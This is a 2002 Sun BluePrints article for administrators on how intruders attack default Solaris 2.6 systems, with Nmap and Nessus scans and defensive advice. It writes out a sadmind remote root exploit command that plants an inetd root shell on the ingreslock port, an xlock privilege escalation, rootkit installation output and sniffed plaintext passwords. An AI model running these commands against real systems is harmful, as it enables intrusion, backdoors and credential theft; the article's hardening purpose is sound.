Hackers tools (816 4816-10)

How Hackers Do It:
Tricks, Tools, and Techniques

Alex Noordergraaf, Enterprise Server Products
Sun BluePrints™ OnLine—May, 2002

http://www.sun.com/blueprints
Sun Microsystems, Inc.
4150 Network Circle
Santa Clara, CA 95045 USA
650 960-1300
Part No.: 816-4816-10
Revision 1.0
Edition: May 2002

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Please
Recycle

How Hackers Do It:
Tricks, Tools, and Techniques

This article describes the tricks, tools, and techniques hackers use to gain
unauthorized access to Solaris™ Operating Environment (Solaris OE) systems.
Ironically, it’s often the most basic methods that hackers use to successfully gain
access to your systems.

For this article, we use the default configuration of a Solaris OE system to evaluate
which vulnerabilities are most attractive to an intruder. Using easily obtainable
freeware security tools, we demonstrate the techniques hackers employ to attack
systems.

All of the attacks described in this article have preventive solutions available;
however, every day, hackers compromise systems using these attacks. Being aware
of how these attacks are performed, you can raise awareness within your
organization for the importance of building and maintaining secure systems.

Many organizations make the mistake of addressing security only during
installation, then never revisit it. Maintaining security is an ongoing process, and it
is something that must be reviewed and revisited periodically.

Using the information in this article, you can try hacking into your organization’s
datacenter, high-end server, or other system to determine where basic attacks would
succeed. Then, you can address security weaknesses to prevent unauthorized users
from attacking the system.

This article contains the following topics:
s “About the Author” on page 23
s “Tricks” on page 2
s “Tools” on page 4
s “Techniques” on page 7
s “How to Use the Tools” on page 11
s “Related Resources” on page 24

1

Tricks
A trick is a “mean crafty procedure or practice...designed to deceive, delude, or
defraud.1” Hackers use tricks to find short cuts for gaining unauthorized access to
systems. They may use their access for illegal or destructive purposes, or they may
simply be testing their own skills to see if they can perform a task.

Given that most hackers are motivated by curiosity and have time to try endless
attacks, the probability is high that eventually they do find a sophisticated method
to gain access to just about any environment. However, these aren’t the types of
attacks we address in this article, because most successful intrusions are
accomplished through well-known and well-documented security vulnerabilities
that either haven’t been patched, disabled, or otherwise dealt with. These
vulnerabilities are exploited every day and shouldn’t be.

Note – You can implement many of the changes necessary to patch, disable, or deal
with security vulnerabilities by using the Solaris Security Toolkit, available from:
http://www.sun.com/blueprints/tools.

Finding Access Vulnerabilities
What generally happens is that an advanced or elite hacker writes a scanning tool
that looks for well-known vulnerabilities, and the elite hacker makes it available
over the Internet. Less experienced hackers, commonly called “script kiddies,” then
run the scanning tool 24 x 7, scanning large numbers of systems and finding many
systems that are vulnerable. They typically run the tool against the name-spaces
associated with companies they would like to get into.

The script kiddies use a list of vulnerable IP addresses to launch attacks, based on
the vulnerabilities advertised by a machine, to gain access to systems. Depending on
the vulnerability, an attacker may be able to create either a privileged or non-
privileged account. Regardless, the attacker uses this initial entry (also referred to as
a “toe-hold”) in the system to gain additional privileges and exploit the systems the
penetrated system has trust relationships with, shares information with, is on the
same network with, and so on.

Once a toe-hold is established on a system, the attacker can run scanning tools
against all the systems connected to the penetrated system. Depending on the
system compromised, these scans can run inside an organization’s network.

2 How Hackers Do It: Tricks, Tools, and Techniques • May 2002

Finding Operating System Vulnerabilities
As mentioned previously, hackers first look for vulnerabilities to gain access. Then
they look for operating system (OS) vulnerabilities and for scanning tools that report
on those vulnerabilities.

Finding vulnerabilities specific to an OS is as easy as typing in a URL address and
clicking on the appropriate link. There are many organizations that provide “full-
disclosure” information. Full disclosure is the practice of providing all information
to the public domain so that it isn’t known only to the hacker community.

Mitre, a government think tank, supports the Common Vulnerability and Exposures
(CVE) dictionary. As stated on their web site (http://cve.mitre.org), the goal is
to provide the following:
A list of standardized names for vulnerabilities and other information security
exposures—CVE aims to standardize the names for all publicly known
vulnerabilities and security exposures2.

Other security sites, such as SecurityFocus, CERT, the SANS Institute, and many
others, provide information about how to determine the vulnerabilities an OS has
and how to best exploit them.

Attacking Solaris OE Vulnerabilities
Let’s use Solaris 2.6 OE as an example. A well-known vulnerability, for which
patches are available, is the sadmind exploit. Hackers frequently use this
vulnerability to gain root access on Solaris 2.6 OE systems.

Using only a search engine and the CVE number, found by searching through the
Mitre site listed previously, it is possible to find the source code and detailed
instructions on how to use it. The entire process takes only a few minutes. The
hacker finds the source code on the SecurityFocus web site and finds detailed
instructions on the SANS site.

Tricks 3

Tools
Hackers use a variety of tools to attack a system. Each of the tools we cover in this
article have distinct capabilities. We describe the most popular tools from each of the
following categories:
s Port scanners
s Vulnerability scanners
s Rootkits
s Sniffers

Later in this article, we use some of these tools in realistic scenarios to demonstrate
how easily even a novice hacker or script-kiddie can gain access to an unsecured
system.

Port Scanners
Port scanners are probably the most commonly used scanning tools on the Internet.
These tools scan large IP spaces and report on the systems they encounter, the ports
available, and other information, such as OS types. The most popular port scanner is
Network Mapper (Nmap).

The Nmap port scanner is described as follows on the Nmap web site:
Nmap (“Network Mapper”) is an open source utility for network exploration or
security auditing. It was designed to rapidly scan large networks, although it
works fine against single hosts. Nmap uses raw IP packets in novel ways to
determine what hosts are available on the network, what services (ports) they are
offering, what operating system (and OS version) they are running, what type of
packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs
on most types of computers, and both console and graphical versions are
available. Nmap is free software, available with full source code under the terms
of the GNU GPL.3

Nmap is an excellent security tool because it allows you to determine which services
are being offered by a system. Because Nmap is optimized to scan large IP ranges, it
can be run against all IP addresses used by an organization, or all cable modem IP
addresses provided by an organization. After using Nmap to find machines and
identify their services, you can run the Nessus vulnerability scanner against the
vulnerable machines.


Nmap supports an impressive array of scan types that permit everything from TCP
SYN (half open) to Null scan sweeps. Additional options include OS fingerprinting,
parallel scan, and decoy scanning, to name a few. Nmap supports a graphical
version through xnmap. For more information about Nmap, refer to the Nmap web
site or the nmap(1m) man page.

Vulnerability Scanners
This section describes tools available for scanning vulnerable systems. Vulnerability
scanners look for a specific vulnerability or scan a system for all potential
vulnerabilities. Vulnerability tools are freely available. We focus on the most popular
and best-maintained vulnerability scanner available, Nessus.

The Nessus vulnerability tool is described on the Nessus web site:
The “Nessus” Project aims to provide to the Internet community a free,
powerful, up-to-date and easy to use remote security scanner. A security scanner
is a software which will remotely audit a given network and determine whether
bad guys (aka ‘crackers’) may break into it, or misuse it in some way.
Unlike many other security scanners, Nessus does not take anything for granted.
That is, it will not consider that a given service is running on a fixed port—that
is, if you run your web server on port 1234, Nessus will detect it and test its
security. It will not make its security tests regarding the version number of the
remote services, but will really attempt to exploit the vulnerability.
Nessus is very fast, reliable and has a modular architecture that allows you to fit
it to your needs.4

Nessus provides administrators and hackers alike with a tool to scan systems and
evaluate vulnerabilities present in services offered by that system. Through both its
command line and GUI-based client, Nessus provides capabilities that are
invaluable. Running Nessus is much more convenient in its GUI mode. For more
information about Nessus, refer to their web site.

Tools 5

Rootkits
The term rootkit describes a set of scripts and executables packaged together that
allow intruders to hide any evidence that they gained root access to a system. Some
of the tasks performed by a rootkit are as follows:
s Modify system log files to remove evidence of an intruder’s activities.
s Modify system tools to make detection of an intruder’s modifications more
difficult.
s Create hidden back-door access points in the system.
s Use the system as a launch point for attacks against other networked systems.

Sniffers
Network sniffing, or just “sniffing,” is using a computer to read all network traffic,
of which some may not be destined for that system. To perform sniffing, a network
interface must be put into promiscuous mode so that it forwards, to the application
layer, all network traffic, not just network traffic destined for it.

The Solaris OE includes a tool called snoop that can capture and display all network
traffic seen by a network interface on the system. While being relatively primitive,
this tool can quite effectively gather clear-text user IDs and passwords passing over
a network. Many popular protocols in use today such as Telnet, FTP, IMAP, and
POP-3 do not encrypt their user authentication and identification information.

Once a system is accessed, an intruder typically installs a network sniffer on the
system to gain additional user ID and password information, to gather information
about how the network is constructed, and to learn what it is used for.


Techniques
In this section, we describe two different attack scenarios to demonstrate how easily
a hacker can gain access to an unsecured system. These successful attacks simulate
the following scenarios:
s Attacks from the Internet
s Attacks from employees

In both attack scenarios, after the hacker establishes a root account, the hacker wants
to maintain access to the system and establish additional privileges to access the rest
of the environment. We correlate the tools that the hacker uses to find
vulnerabilities, gain access, and establish additional privileges.

For information about the tools and how to use them, please refer to the following
sections:
s “Tools” on page 4
s “How to Use the Tools” on page 11

Attacks From the Internet
In this scenario, a hacker uses the Nessus vulnerability scanner to locate a system
running Solaris 2.6 OE that has not been protected from the sadmind remote
procedure call (RPC) service vulnerability. Let’s see how the sadmind exploit works
against the victim system.

After the hacker gains access, the hacker uses a rootkit to gain and maintain root
access.

Techniques 7

The header of the sadminindex.c program provides the following information on
its usage:

sadmindex - SPARC Solaris remote root exploit for /usr/sbin/
sadmind Tested and confirmed under Solaris 2.6 and 7.0 (SPARC)

Usage: % sadmindex -h hostname -c command -s sp [-o offset] [-a
alignment] [-p]

where hostname is the hostname of the machine running the
vulnerable system administration daemon, command is the command to
run as root on the vulnerable machine, sp is the %sp stack pointer
value, offset is the number of bytes to add to sp to calculate the
desired return address, and alignment is the number of bytes needed
to correctly align the contents of the exploit buffer.

The author of the sadmindex program made things even easier by providing
example stack pointer values. Some tinkering with the sp value was necessary in
this example to get the exploit to work; however, it didn’t take much trial and error
because the next offset tried was 0xefff9588.

The hacker runs the exploit from a Solaris 8 OE system against the Solaris 2.6 OE
system, with the following arguments:

# ./sadminsparc -h nfs -c "echo ’ingreslock stream tcp nowait root
/bin/sh sh -i’
>/tmp/.gotcha; /usr/sbin/inetd -s /tmp/.gotcha" -s 0xefff9596

The exploit produces the following output:

% sp 0xefff9596 offset 688 --> return address 0xefff9844 [4]
% sp 0xefff9596 with frame length 4808 --> %fp 0xefffa858
clnt_call: RPC: Timed out
now check if exploit worked; RPC failure was expected

As an administrator, if you want to try this exploit on your system, or if you want to
determine if an attacker has tried this exploit on your system, run the following
command to verify that the inetd process is running:

# ps -ef | grep inetd
root 5806 1 1 22:59:38 ? 0:00 /usr/sbin/inetd -s /tmp/.x


Next, run the following command to determine if a service called ingreslock is
listening:

# netstat -a | grep ingres
*.ingreslock *.* 0 0 0 0 LISTEN

A hacker establishes a Telnet connection to the port with the following command.
Using this command provides the hacker a root shell prompt, which allows the
hacker to infiltrate the system further by adding new accounts:

# telnet nfs ingreslock
Trying 192.168.0.20...
Connected to nfs.
Escape character is ’^]’.
# hostname
nfs

Attacks From Employees
In this scenario, an employee has user access privileges to the system, however, the
employee is not authorized to have root access privileges. This scenario is very
common. It usually occurs when accounts are left logged on and systems are
insecure, thus providing an intruding employee the opportunity to perform
unauthorized actions.

The ability of malicious internal users to gain additional privileges on Solaris OE
systems is a very real security issue. Unfortunately, it is frequently overlooked or
ignored by administrators and managers who say, “That could never happen here”
or “We have to trust all of our employees.” Serious security incidents occur in
situations like these.

Most systems have different types of users. Authorized individuals are systems
administrators, operators, database administrators, hardware technicians, and so
forth. Each class of user has permissions and privileges defined by user ID and
group IDs on the system. Most of these users do not have a root password or
permission to use it.

What happens when an authorized user turns malicious or an intruder gains access
to an authorized user’s account through trusted relationships, poor password
management, sessions left unlocked, and the like?

Techniques 9

Once on a system, malicious users and intruders can use buffer overflow attacks to
gain root privileges. For example, on August 10th, 2001, a buffer overflow against
xlock was released. (The xlock executable is a utility for locking X-windows
displays.) This utility is useful to attack because it is installed with the setuid root
command, due to its need to authorize access to the display when it is locked.

A quick search through a few web sites provides the sample source code, which only
has 131 lines of code. For this scenario, after compiling with the freeware GNU gcc
compiler, the executable is placed on the test system ganassi. The following
sequence demonstrates the exploit:

console login: noorder
Password:
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
ganassi% /usr/ucb/whoami
noorder
ganassi% ./sol_sparc_xlockex
shellcode address padding = 0
stack arguments len = 0x502(1282)
the padding zeros number = 2

Using RET address = 0xeffffb10
Using retloc = 0xefffe8c4
# /usr/ucb/whoami
root

Now that the attacker has root privileges on the system, it is easy to use a sniffer,
install back doors, maintain and gain additional access privileges using rootkits, and
perform tricks and subsequent attacks.


How to Use the Tools
This section provides samples of how to use each of the tools covered in the “Tools”
on page 4” section. We provide sample output and tips on interpreting the results.
Use this information with the sample attack scenarios in the “Techniques” on
page 7” section.

Using Port Scanners
To demonstrate the capabilities of the Nmap port scanner, we ran the following scan.
The output of the scan reveals the services running on the machine. Nmap’s ability
to identify the OS running on the system is particularly useful because it can
significantly reduce the time required to launch a successful attack against the
machine.

Based on the Nmap results, this system appears to be a fully loaded Solaris 2.6 or 7
OE system running most of the default services.

How to Use the Tools 11

The Nmap output is as follows:

# /usr/local/nmap -O ganassi

Starting nmap V. 2.53 (www.insecure.org/nmap/)
Interesting ports on ganassi (10.8.10.231):
(The 1515 ports scanned but not shown below are in state: closed)
Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
19/tcp open chargen
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
37/tcp open time
79/tcp open finger
111/tcp open sunrpc
512/tcp open exec
513/tcp open login
514/tcp open shell
515/tcp open printer
540/tcp open uucp
1103/tcp open xaudio
4045/tcp open lockd
6112/tcp open dtspc
7100/tcp open font-service
32771/tcp open sometimes-rpc5

Remote operating system guess: Solaris 2.6 - 2.7
Uptime 0.054 days (since Wed Sep 12 09:41:59 2001)

Nmap run completed -- 1 IP address (1 host up) scanned in 37 seconds


Using Vulnerability Scanners
To demonstrate the capabilities of the Nessus vulnerability scanner, we ran the
following scan.

The command in our example runs a Nessus scan against the hosts listed in
targetfile and stores the output in outfile:

# nessus -T text localhost 1241 noorder targetfile outfile

The Nessus output begins with a summary of the scan results:

Nessus Scan Report
------------------

SUMMARY

- Number of hosts which were alive during the test : 1
- Number of security holes found : 2
- Number of security warnings found : 15
- Number of security notes found : 1

TESTED HOSTS

192.168.0.90 (Security holes found)


The output continues with details for each of the security warnings found. The
following is an excerpt from the output:

DETAILS

+ 192.168.0.90 :
. List of open ports :
o unknown (161/udp) (Security hole found)
o unknown (32779/udp) (Security warnings found)
o unknown (32775/tcp) (Security warnings found)
o lockd (4045/udp) (Security warnings found)

. Vulnerability found on port unknown (32774/udp) :

The sadmin RPC service is running.
There is a bug in Solaris versions of
this service that allow an intruder to
execute arbitrary commands on your system.

Solution : disable this service
Risk factor : High

Using this output, hackers from our example scenarios (“Techniques” on page 7”)
gain access to the system.


In addition to other vulnerabilities, the following “denial of service” (DoS)
vulnerability appears in the output:

DETAILS

. List of open ports :
o general/tcp (Security hole found)

. Vulnerability found on port general/tcp :

It was possible
to make the remote server crash
using the ’teardrop’ attack.

A cracker may use this attack to
shut down this server, thus
preventing your network from
working properly.

Solution : contact your operating
system vendor for a patch.

Risk factor : High
CVE : CAN-1999-0015

The result of our Nessus scan reveals two security holes and 15 security warnings on
a default Solaris 2.6 OE system.

Using Rootkits
To demonstrate the capabilities of a rootkit, we use one built for Solaris 2.6 OE. This
rootkit is detailed in the Sun BluePrints™ OnLine article, The Solaris Fingerprint
Database—A Security Tool for Solaris Software and Files. Additionally, this rootkit is
documented by the HoneyNet project.

The rootkit has a variety of programs that fit into the following categories:
s Network sniffers
s Log file cleanup
s Internet Relay Chat (IRC) proxy

Included in the rootkit is an installation script for automating the installation of
rootkit programs, setting program permissions, and erasing evidence from the log
files.


The installation of the rootkit is as follows:

ganassi# ./setup.sh
hax0r w1th gforce
Ok This thing is complete :-)
cp: cannot access l0gin
cp: cannot create /usr/local/bin/find: No such file or directory
mv: cannot access /etc/.ts
mv: cannot access /etc/.tp
- WTMP:
/var/adm/wtmp is Thu Mar 26 13:21:36 1987
/usr/adm/wtmp cannot open
/etc/wtmp is Thu Mar 26 13:21:36 1987
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
No user re found in /var/adm/wtmp
[...]
./setup.sh: ./zap: not found
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
193 ? 0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute
Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs-> (Pharos@refract.com) or IRC pharos on
efnet
--Using conf file ./sys222.conf
--Configuration:
Daemon port......:9879
Maxusers.........:0
Default conn port:6667
Pid File.........:./pid.sys222
Vhost Default....:-SYSTEM DEFAULT-
Process Id.......:759
Exit ./sys222{7} :Successfully went into the background.


The installation script is neither elegant nor correct for the Solaris 2.6 OE; however,
it performs the job. It replaces the following system files:

/bin/ls
/usr/bin/ls
/bin/ps
/bin/netstat
/usr/bin/netstat
/usr/sbin/rpcbind

Now the attacker has root access to a system on which:
s It is difficult for an administrator to detect the intruder through standard Solaris
OE commands, such as ls, find, ps, and netstat, because those binaries are
replaced by trojan (hidden inside something that appears safe) versions.
s It is easy for the attacker to gain access repeatedly because the new and trojaned
system binaries for the login and rpcbind allow the attacker to gain access and
execute commands on the system remotely.

The rootkit installs network sniffers on the victim system. This rootkit installs four
network sniffers: le, sniff, sniff-10mb, and sniff-100mb.

Only the sniff-100mb executable is usable on ganassi; the other sniffers are
hard-coded for specific interfaces.


The sniff-100mb executable defaults to the hme0 interface on ganassi. When the
executable is run on ganassi, it produces a nicely formatted summary of network
activity on the system:

ganassi# ./sniff-100mb
Using logical device /dev/hme [/dev/hme]
Output to stdout.

Log started at => Thu Aug 26 15:31:10 [pid 856]

-- TCP/IP LOG -- TM: Thu Aug 26 15:31:19 --
PATH: 10.8.10.200(34398) => ganassi(telnet)
STAT: Thu Aug 26 15:31:48, 111 pkts, 128 bytes [DATA LIMIT]
DATA: (255)(253)^C(255)(251)^X(255)(251)^_(255)(251)
(255)(251)!(255)(251)"(255)(251)’(255)(253)Ê(255)(250)^_
: P
: ^X(255)(240)(255)(252)#(255)(252)$(255)(250)^X
: DTTERM(255)(240)(255)(250)’
: (255)(240)(255)(253)Â(255)(252)Ânoorder
: t00lk1t
: ls
: who
: cd /var/tmp
: ls -al
--

This output includes the user ID and password used to access the system.

The rootkit includes log cleanup programs and an IRC proxy.

Several sets of logs are sanitized by the rootkit: utmp, utmpx, wtmp, wtmpx, and
lastlog. The program that sanitizes the logs is called zap; it looks for and removes
files in common directories.

The IRC proxy in the rootkit includes a bot. The proxy bounces IRC messages across
a private IRC channel. The bot keeps the channel open and responds to certain
commands.


Using Sniffers
To demonstrate the capabilities of a sniffer to extract a user ID and password from a
Telnet and IMAP session, we use the snoop tool. Collecting the information for the
samples only took a few seconds.

The following is an example of the insecurities of Telnet:

# snoop -d qfe0 port telnet ganassi
ganassi -> nomex-lab TELNET R port=32835
37737313773751login:
nomex-lab -> ganassi TELNET C port=32835 r
ganassi -> nomex-lab TELNET R port=32835 r
nomex-lab -> ganassi TELNET C port=32835 o
ganassi -> nomex-lab TELNET R port=32835 o
nomex-lab -> ganassi TELNET C port=32835
nomex-lab -> ganassi TELNET C port=32835 o
ganassi -> nomex-lab TELNET R port=32835 o
nomex-lab -> ganassi TELNET C port=32835 t
ganassi -> nomex-lab TELNET R port=32835 t
ganassi -> nomex-lab TELNET R port=32835 Password:
nomex-lab -> ganassi TELNET C port=32835 0
nomex-lab -> ganassi TELNET C port=32835 l
nomex-lab -> ganassi TELNET C port=32835 k
ganassi -> nomex-lab TELNET R port=32835 Last login: Thu Mar
ganassi -> nomex-lab TELNET R port=32835 #


The following is an example of the insecurities of IMAP:

# snoop -d qfe0 port imap2 ganassi
jordan -> ganassi IMAP C port=46600
ganassi -> jordan IMAP R port=46600
ganassi -> jordan IMAP R port=46600 * OK ganassi SIMS (tm) 2.0p12
IMAP
jordan -> ganassi IMAP C port=46600 1 capabilityrn
ganassi -> jordan IMAP R port=46600
ganassi -> jordan IMAP R port=46600 * CAPABILITY IMAP4 STATUS SCAN
IMAP4
jordan -> ganassi IMAP C port=46600 2 login "hacked" "t00lk1t”rn
ganassi -> jordan IMAP R port=46600 2 OK LOGIN completed

Using the snoop tool is fairly straightforward. If it runs for very long, it collects a
great deal of data, and it might be noticed. The ideal solution for an attacker is an
automated tool that only saves the user ID and password information for a specific
list of protocols. Several tools are available to perform this task: the relatively simple
sniffit and the much more flexible and extensive dsniff. (The dsniff tool
provides automated mechanisms for attacking switched networks.) Either of these
tools can be left running on a system for weeks, or months, to collect hundreds,
maybe thousands, of passwords.

Switched Networks
No evaluation of network sniffing is complete without covering network switches.
Network switches connect multiple systems to the same network segment in much
the same manner as a network hub. The major difference is in the switch’s ability to
forward packets on a per-port basis. In this manner, only network traffic destined for
a port is forwarded to it, instead of the port seeing all network traffic. With this
configuration, even if a network interface is in the promiscuous mode, it does not
see the traffic destined for another port on the same system.

Many people, based on this configuration, believe that network sniffing is useless.
This belief is not true for two reasons. First, a sniffer running on a system captures
all non-encrypted user ID and password strings sent to and from the system to any
other system on the network. Secondly, publicly disclosed address resolution
protocol (ARP) attacks can be launched against the network switch itself. These
attacks can force the switch to relay all packets through one port, on which the
sniffer is running. Network switches are a layer of protection against sniffing,
however, they are not a complete solution.


To protect against network sniffing, encrypt authentication information. For
example, instead of using Telnet and FTP, use Secure Shell (SSH). Instead of using
plain POP3 for email, encrypt the session over secured sockets layer (SSL) for
privacy. These precautions protect against network sniffing.

Terminal Servers
Many organizations use terminal servers to manage and administer headless
systems (systems without a local display, keyboard, or mouse, and are managed
remotely via remote consoles). While effective in leveraging datacenter space and
“lights-out” datacenter environments, recognize that terminal servers can have
many of the same vulnerabilities as systems. For example, the terminal servers
shipped with Sun™ Cluster 3.0 software are normally 8-port Bay Annex servers.
These terminal servers are accessed through Telnet.


The following is a snoop trace of a root login into this terminal server:

# snoop -d qfe0 nts01
nts01 -> nomex TELNET R port=34395 nRotaries Defined:
nomex -> nts01 TELNET C port=34395
nts01 -> nomex TELNET R port=34395 nnEnter Annex p
nomex -> nts01 TELNET C port=34395 3
nts01 -> nomex TELNET R port=34395
nts01 -> nomex TELNET R port=34395 Attached to port 3
nts01 -> nomex TELNET R port=34395 ganassi console lo
nomex -> nts01 TELNET C port=34395 r
nts01 -> nomex TELNET R port=34395 r
nomex -> nts01 TELNET C port=34395 o
nts01 -> nomex TELNET R port=34395 o
nts01 -> nomex TELNET R port=34395 o
nomex -> nts01 TELNET C port=34395 o
nomex -> nts01 TELNET C port=34395 t
nts01 -> nomex TELNET R port=34395 t
nts01 -> nomex TELNET R port=34395 Password:
nomex -> nts01 TELNET C port=34395 l
nomex -> nts01 TELNET C port=34395 k
nts01 -> nomex TELNET R port=34395 Mar 26 13:04:36 ga
nts01 -> nomex TELNET R port=34395 Last login:
nts01 -> nomex TELNET R port=34395 Thu Mar 26 13:03:06
nts01 -> nomex TELNET R port=34395 SunOS 5.6 Gene


Clearly, these terminal servers need to be protected by the same encryption
technology as all the systems on the network. Two alternatives are available to
secure terminal servers. The first is to purchase terminal servers that support
encryption for privacy through a mechanism such as SSH. The second alternative is
to provide a landing pad that functions as a gateway between the terminal servers
and the rest of the network. This gateway supports SSH, and the private network on
which the terminal services reside isolate the use of Telnet.

About the Author
Alex Noordergraaf has over 10 years experience in the areas of computer and
network security. As the security architect of the Enterprise Server Products (ESP)
group at Sun Microsystems, he is responsible for the security of Sun servers. He is
the driving force behind the very popular freeware Solaris Security Toolkit. Prior to
his role in ESP, he was a senior staff engineer in the Enterprise Engineering (EE)
group, where he developed, documented, and published security best practices
through the Sun BluePrints Program. Published topics include security for Sun
Fire™ 12K servers, Sun Fire 15K servers, Sun Fire Midframe servers, N-tier
environments, the Solaris OE, and the Solaris OE network settings. He co-authored
the Sun BluePrints publication, JumpStart™ Technology: Effective Use in the Solaris™
Operating Environment.

Prior to his role in EE, he was a senior security architect with Sun Professional
ServicesSM (SunPS) where he worked with many Fortune 500 companies on projects
that included security assessments, architecture development, architectural reviews,
and policy/procedure review and development. He developed and delivered an
enterprise security assessment methodology and training curriculum that is used
worldwide by SunPSSM. His customers included major telecommunication firms,
financial institutions, ISPs, and ASPs. Before joining Sun, Alex was an independent
contractor specializing in network security. His clients included BTG, Inc. and
Thinking Machines Corporation.

About the Author 23

References
1. Webster’s Third New International Dictionary, Merriam-Webster, Inc., Springfield,
MA, 1986, page 2442.

2. Common Vulnerability and Exposures (CVE) Web site:
http://cve.mitre.org

3. NMap web site: http://www.nmap.org

4. Nessus web site: http://www.nessus.org

Related Resources

Publications
s Dasan, Vasanthan, Noordergraaf, Alex, and Ordica, Lou. The Solaris Fingerprint
Database—A Security Tool for Solaris Software and Files, Sun BluePrints OnLine, May
2001
s Deeths, David and Brunette, Glenn. Using NTP to Control and Synchronize System
Clocks - Part II: Basic NTP Administration and Architecture, Sun BluePrints OnLine,
August 2001.
s Noordergraaf, Alex. Building Secure N-Tier Environments, Sun BluePrints OnLine,
October 2000.
s Noordergraaf, Alex. Solaris Operating Environment Minimization for Security:
Updated for the Solaris 8 Operating Environment, Sun BluePrints OnLine, November
2000.
s Noordergraaf, Alex and Brunette, Glenn. The Solaris Security Toolkit—Quick Start:
Updated for Version 0.3, Sun BluePrints OnLine, June 2001.
s Noordergraaf, Alex and Watson, Keith. Solaris Operating Environment Security:
Updated for the Solaris 8 Operating Environment, Sun BluePrints OnLine, April 2001.
s Prosise, Chris and Shah, Saumil Udayan. At the Root of Rootkits, CNET Online,
http://builder.cnet.com/webbuilding/0-7532-8-4561014-
1.html?tag=st.bl.7532.edt.7532-8-4561014, January 25, 2001.


s Reid, Jason M and Watson, Keith. Building and Deploying OpenSSH in the Solaris
Operating Environment, Sun BluePrints OnLine, July 2001.
s Watson, Keith and Noordergraaf, Alex. Solaris Operating Environment Network
Settings for Security: Updated for the Solaris 8 Operating Environment, Sun BluePrints
OnLine, December 2000.

Web Sites:
s Sun BluePrints OnLine: http://sun.com/blueprints
s TripWire: http://www.tripwire.com
s Chkrootkit: http://www.chkrootkit.org/
s Nessus: http://www.nessus.org
s NMap: http://www.nmap.org
s SecurityFocus: http://www.securityfocus.com
s CERT: http://www.cert.org
s SANS Institute: http://www.sans.org
s SunSolve: http://sunsolve.sun.com

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